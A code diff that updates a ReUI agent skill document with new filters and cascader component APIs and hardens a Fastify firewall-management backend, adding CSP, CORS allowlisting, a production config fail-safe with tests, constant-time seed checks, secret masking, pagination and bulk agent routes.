> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "tsx watch src/server.ts",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
|
||||
"start": "node dist/server.js",
|
||||
"test": "vitest run"
|
||||
|
||||
+54
-2
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
|
||||
const app = Fastify({
|
||||
logger: { level: config.logLevel },
|
||||
genReqId: () => crypto.randomUUID(),
|
||||
}).withTypeProvider<ZodTypeProvider>()
|
||||
|
||||
// Correlation id in every response and in the error envelope.
|
||||
app.addHook('onSend', async (req, reply) => {
|
||||
reply.header('x-request-id', req.id)
|
||||
})
|
||||
|
||||
app.setValidatorCompiler(validatorCompiler)
|
||||
app.setSerializerCompiler(serializerCompiler)
|
||||
|
||||
await app.register(import('@fastify/sensible'))
|
||||
// CSP only guards the served SPA; in dev the Vite server proxies API
|
||||
// requests same-origin and injects its own HMR scripts.
|
||||
await app.register(import('@fastify/helmet'), {
|
||||
contentSecurityPolicy: false,
|
||||
contentSecurityPolicy:
|
||||
config.staticDir !== null
|
||||
? {
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||
imgSrc: ["'self'", 'data:'],
|
||||
fontSrc: ["'self'", 'data:'],
|
||||
// app-switcher talks to the auth portal directly from the browser
|
||||
connectSrc: ["'self'", config.authPortalUrl],
|
||||
objectSrc: ["'none'"],
|
||||
baseUri: ["'self'"],
|
||||
frameAncestors: ["'none'"],
|
||||
},
|
||||
}
|
||||
: false,
|
||||
})
|
||||
await app.register(import('@fastify/rate-limit'), {
|
||||
max: 300,
|
||||
timeWindow: '1 minute',
|
||||
})
|
||||
await app.register(corsPlugin)
|
||||
await app.register(corsPlugin, { config })
|
||||
await app.register(errorHandlerPlugin)
|
||||
await app.register(dbPlugin, { config, memory: opts.memory })
|
||||
await app.register(authPlugin, { config })
|
||||
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
preventOverrun: true,
|
||||
}),
|
||||
)
|
||||
|
||||
// Raw stats samples grow ~1 row per agent per sync interval; drop old
|
||||
// ones daily. Lifetime totals live on agents; aggregates are kept.
|
||||
const runRetention = async () => {
|
||||
const cutoff = new Date(
|
||||
Date.now() - config.statsRetentionDays * 86_400_000,
|
||||
).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
if (deleted > 0) {
|
||||
app.log.info(
|
||||
{ deleted, cutoff },
|
||||
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
|
||||
)
|
||||
}
|
||||
}
|
||||
app.scheduler.addCronJob(
|
||||
new CronJob(
|
||||
{ cronExpression: '17 3 * * *' },
|
||||
new AsyncTask('stats-retention', runRetention, (err) => {
|
||||
app.log.warn({ err }, 'stats retention failed')
|
||||
}),
|
||||
{ preventOverrun: true },
|
||||
),
|
||||
)
|
||||
// First cleanup right at startup, not only after the next 03:17.
|
||||
runRetention().catch((err) =>
|
||||
app.log.warn({ err }, 'stats retention failed'),
|
||||
)
|
||||
}
|
||||
|
||||
return app
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import { loadConfig } from './config.js'
|
||||
|
||||
const SAVED: Record<string, string | undefined> = {}
|
||||
const KEYS = [
|
||||
'NODE_ENV',
|
||||
'AUTH_REQUIRED',
|
||||
'AUTH_JWT_SECRET',
|
||||
'JWT_SECRET',
|
||||
'EVOFW_ENROLL_SEED',
|
||||
'EVOFW_ALLOW_UNSAFE',
|
||||
]
|
||||
|
||||
afterEach(() => {
|
||||
for (const k of KEYS) {
|
||||
if (SAVED[k] === undefined) delete process.env[k]
|
||||
else process.env[k] = SAVED[k]
|
||||
}
|
||||
})
|
||||
|
||||
function setEnv(vars: Record<string, string | undefined>) {
|
||||
for (const [k, v] of Object.entries(vars)) {
|
||||
if (!(k in SAVED)) SAVED[k] = process.env[k]
|
||||
if (v === undefined) delete process.env[k]
|
||||
else process.env[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
describe('loadConfig production fail-safe', () => {
|
||||
it('refuses insecure defaults in production', () => {
|
||||
setEnv({
|
||||
NODE_ENV: 'production',
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
|
||||
|
||||
setEnv({ AUTH_REQUIRED: 'true' })
|
||||
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'short' })
|
||||
expect(() => loadConfig()).toThrow(/real secret/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
|
||||
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
|
||||
})
|
||||
|
||||
it('starts with explicit opt-out or full production config', () => {
|
||||
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
|
||||
setEnv({
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
EVOFW_ENROLL_SEED: 'real-seed',
|
||||
})
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
})
|
||||
|
||||
it('dev keeps permissive defaults', () => {
|
||||
setEnv({
|
||||
NODE_ENV: undefined,
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
const config = loadConfig()
|
||||
expect(config.authRequired).toBe(false)
|
||||
expect(config.corsOrigins).toEqual([])
|
||||
})
|
||||
})
|
||||
+44
-4
@@ -13,6 +13,9 @@ export interface AppConfig {
|
||||
authAuditIngestSecret: string | null
|
||||
publicBaseUrl: string
|
||||
enrollSeed: string
|
||||
corsOrigins: string[]
|
||||
secretKey: string | null
|
||||
statsRetentionDays: number
|
||||
}
|
||||
|
||||
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
return v === '1' || v.toLowerCase() === 'true'
|
||||
}
|
||||
|
||||
const DEV_JWT_SECRET = 'dev-secret-change-me'
|
||||
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
|
||||
|
||||
export function loadConfig(): AppConfig {
|
||||
const isProd = process.env.NODE_ENV === 'production'
|
||||
const jwtSecret =
|
||||
process.env.AUTH_JWT_SECRET ??
|
||||
process.env.JWT_SECRET ??
|
||||
(isProd ? '' : 'dev-secret-change-me')
|
||||
(isProd ? '' : DEV_JWT_SECRET)
|
||||
|
||||
return {
|
||||
const config: AppConfig = {
|
||||
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
||||
jwtSecret: jwtSecret || 'dev-secret-change-me',
|
||||
jwtSecret: jwtSecret || DEV_JWT_SECRET,
|
||||
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
||||
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
||||
staticDir: process.env.STATIC_DIR
|
||||
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
|
||||
enrollSeed:
|
||||
process.env.EVOFW_ENROLL_SEED ??
|
||||
process.env.BUNDLE_SEED_HEX ??
|
||||
'dev-enroll-seed-change-me',
|
||||
DEV_ENROLL_SEED,
|
||||
corsOrigins: (process.env.CORS_ORIGINS ?? '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().replace(/\/$/, ''))
|
||||
.filter(Boolean),
|
||||
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
|
||||
statsRetentionDays: Math.max(
|
||||
1,
|
||||
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
|
||||
),
|
||||
}
|
||||
|
||||
// Fail-safe: a production process must not start wide open or with
|
||||
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
|
||||
// opt-out for isolated/lab deployments.
|
||||
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
|
||||
const problems: string[] = []
|
||||
if (!config.authRequired) {
|
||||
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
|
||||
}
|
||||
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
|
||||
problems.push('AUTH_JWT_SECRET is not set')
|
||||
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
|
||||
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
|
||||
}
|
||||
if (config.enrollSeed === DEV_ENROLL_SEED) {
|
||||
problems.push('EVOFW_ENROLL_SEED is not set')
|
||||
}
|
||||
if (problems.length > 0) {
|
||||
throw new Error(
|
||||
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
Whitespace-only changes.
@@ -1,8 +1,21 @@
|
||||
import type { FastifyInstance } from 'fastify'
|
||||
import fp from 'fastify-plugin'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
async function corsPlugin(app: FastifyInstance) {
|
||||
await app.register(import('@fastify/cors'), { origin: true })
|
||||
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
|
||||
const allowed = opts.config.corsOrigins
|
||||
await app.register(import('@fastify/cors'), {
|
||||
// The SPA is served same-origin (or via the Vite dev proxy), so by
|
||||
// default only non-CORS (same-origin/server-side) requests pass.
|
||||
// CORS_ORIGINS opens specific origins explicitly.
|
||||
origin: (origin, cb) => {
|
||||
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
|
||||
cb(null, true)
|
||||
} else {
|
||||
cb(null, false)
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export default fp(corsPlugin, { name: 'cors' })
|
||||
@@ -14,17 +14,25 @@ export class AppError extends Error {
|
||||
}
|
||||
|
||||
async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
app.setErrorHandler((err, _req, reply) => {
|
||||
app.setErrorHandler((err, req, reply) => {
|
||||
if (err instanceof AppError) {
|
||||
return reply.code(err.statusCode).send({
|
||||
error: { code: err.code, message: err.message },
|
||||
error: {
|
||||
code: err.code,
|
||||
message: err.message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
if (err instanceof ZodError) {
|
||||
const message =
|
||||
err.issues.map((i) => i.message).join('; ') || 'Validation error'
|
||||
return reply.code(400).send({
|
||||
error: { code: 'VALIDATION_ERROR', message },
|
||||
error: {
|
||||
code: 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
const e = err as { statusCode?: number; message?: string }
|
||||
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
error: {
|
||||
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
})
|
||||
|
||||
Whitespace-only changes.
@@ -1,5 +1,5 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { createHash, timingSafeEqual } from 'node:crypto'
|
||||
import { join } from 'node:path'
|
||||
import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
@@ -18,6 +18,14 @@ import {
|
||||
|
||||
const scriptsDir = resolveAgentScriptsDir()
|
||||
|
||||
/** Constant-time seed check; hash first so lengths always match. */
|
||||
function seedMatches(presented: string | undefined, expected: string): boolean {
|
||||
if (!presented) return false
|
||||
const a = createHash('sha256').update(presented).digest()
|
||||
const b = createHash('sha256').update(expected).digest()
|
||||
return timingSafeEqual(a, b)
|
||||
}
|
||||
|
||||
function sanitizeHostFirewall(raw: {
|
||||
rules?: unknown[]
|
||||
listeners?: unknown[]
|
||||
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const seed = req.headers['x-evofw-seed']
|
||||
const expected =
|
||||
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
||||
if (!seed || String(seed) !== expected) {
|
||||
if (!seedMatches(String(seed ?? ''), expected)) {
|
||||
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
||||
}
|
||||
const body = enrollBodySchema.parse(req.body)
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
putAgentPolicySetsBodySchema,
|
||||
patchAgentBodySchema,
|
||||
cloneFromBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
|
||||
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapAgent } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/agents', async () => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
return {
|
||||
items: all.map((a) => {
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/agents',
|
||||
async (req) => {
|
||||
const all = repos.listAgents(app.db)
|
||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||
const items = all.map((a) => {
|
||||
const link = linksByAgent.get(a.id)
|
||||
if (!link) {
|
||||
return mapAgent(a)
|
||||
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
installCurl: urls.curl.by_slug,
|
||||
installLinkId: link.id,
|
||||
})
|
||||
}),
|
||||
}
|
||||
})
|
||||
})
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
@@ -147,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
return mapAgent(updated!)
|
||||
})
|
||||
|
||||
app.post('/agents/approve-bulk', async (req) => {
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
const now = new Date().toISOString()
|
||||
const approved: string[] = []
|
||||
app.sqlite.transaction(() => {
|
||||
for (const id of body.agent_ids) {
|
||||
const a = repos.getAgent(app.db, id)
|
||||
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
|
||||
repos.updateAgent(app.db, a.id, {
|
||||
status: 'approved',
|
||||
approvedAt: now,
|
||||
})
|
||||
repos.ensureSharedSetAssigned(app.db, a.id)
|
||||
approved.push(a.id)
|
||||
}
|
||||
})()
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.approve',
|
||||
targetType: 'app_resource',
|
||||
targetId: approved[0] ?? '',
|
||||
summary: `Массовое одобрение агентов: ${approved.length}`,
|
||||
details: { agent_ids: approved },
|
||||
})
|
||||
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
|
||||
})
|
||||
|
||||
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
|
||||
const a = repos.getAgent(app.db, req.params.id)
|
||||
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
@@ -181,6 +212,30 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
app.post('/agents/delete-bulk', async (req) => {
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
const deleted: { id: string; name: string }[] = []
|
||||
app.sqlite.transaction(() => {
|
||||
for (const id of body.agent_ids) {
|
||||
const a = repos.getAgent(app.db, id)
|
||||
if (!a) continue
|
||||
repos.deleteAgent(app.db, id)
|
||||
deleted.push({ id: a.id, name: a.name })
|
||||
}
|
||||
})()
|
||||
if (deleted.length > 0) {
|
||||
auditMutation(app, config, req, {
|
||||
action: 'agent.delete',
|
||||
severity: 'warning',
|
||||
targetType: 'app_resource',
|
||||
targetId: deleted[0]!.id,
|
||||
summary: `Массовое удаление агентов: ${deleted.length}`,
|
||||
details: { agent_ids: deleted.map((d) => d.id) },
|
||||
})
|
||||
}
|
||||
return { items: deleted.map((d) => d.id), deleted: deleted.length }
|
||||
})
|
||||
|
||||
app.post<{ Params: { id: string; sourceId: string } }>(
|
||||
'/agents/:id/clone-from/:sourceId',
|
||||
async (req) => {
|
||||
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
import { hashToken } from '../plugins/auth.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/install-links', async () => ({
|
||||
items: repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
|
||||
}))
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/install-links',
|
||||
async (req) => {
|
||||
const items = repos
|
||||
.listInstallLinks(app.db)
|
||||
.map((row) => mapInstallLink(row, config.publicBaseUrl))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/install-links', async (req, reply) => {
|
||||
const body = createInstallLinkBodySchema.parse(req.body)
|
||||
|
||||
@@ -15,6 +15,8 @@ import {
|
||||
} from '../services/lists/entries.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
) => {
|
||||
const { config } = opts
|
||||
|
||||
app.get('/lists', async () => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
return { items }
|
||||
})
|
||||
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||
'/lists',
|
||||
async (req) => {
|
||||
const lists = repos.listIpLists(app.db)
|
||||
const counts = repos.countEntriesByListIds(
|
||||
app.db,
|
||||
lists.map((l) => l.id),
|
||||
)
|
||||
const items = lists.map((l) => ({
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
entry_count: counts.get(l.id) ?? 0,
|
||||
created_at: l.createdAt,
|
||||
updated_at: l.updatedAt,
|
||||
}))
|
||||
const paged = applyPagination(items, req.query)
|
||||
return { items: paged.items, total: paged.total }
|
||||
},
|
||||
)
|
||||
|
||||
app.post('/lists', async (req) => {
|
||||
const body = createIpListBodySchema.parse(req.body)
|
||||
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id,
|
||||
name: body.name,
|
||||
type,
|
||||
configJson: JSON.stringify(body.config ?? {}),
|
||||
configJson: sealListConfig({ ...(body.config ?? {}) }),
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
id: list!.id,
|
||||
name: list!.name,
|
||||
type: list!.type,
|
||||
config_json: list!.configJson,
|
||||
config_json: maskListConfig(list!.configJson),
|
||||
created_at: list!.createdAt,
|
||||
updated_at: list!.updatedAt,
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
|
||||
import {
|
||||
createPolicySetBodySchema,
|
||||
patchPolicySetBodySchema,
|
||||
agentIdsBodySchema,
|
||||
} from '@evofw/shared'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
/**
|
||||
* Replace which agents have this set assigned: listed agents gain the set
|
||||
* (other assignments preserved), unlisted agents lose it.
|
||||
*/
|
||||
app.put<{ Params: { id: string } }>(
|
||||
'/policy-sets/:id/agents',
|
||||
async (req) => {
|
||||
const set = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
const body = agentIdsBodySchema.parse(req.body)
|
||||
|
||||
const target = new Set(body.agent_ids)
|
||||
for (const agentId of body.agent_ids) {
|
||||
if (!repos.getAgent(app.db, agentId)) {
|
||||
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
|
||||
}
|
||||
}
|
||||
|
||||
const current = repos.listAgentIdsForSet(app.db, set.id)
|
||||
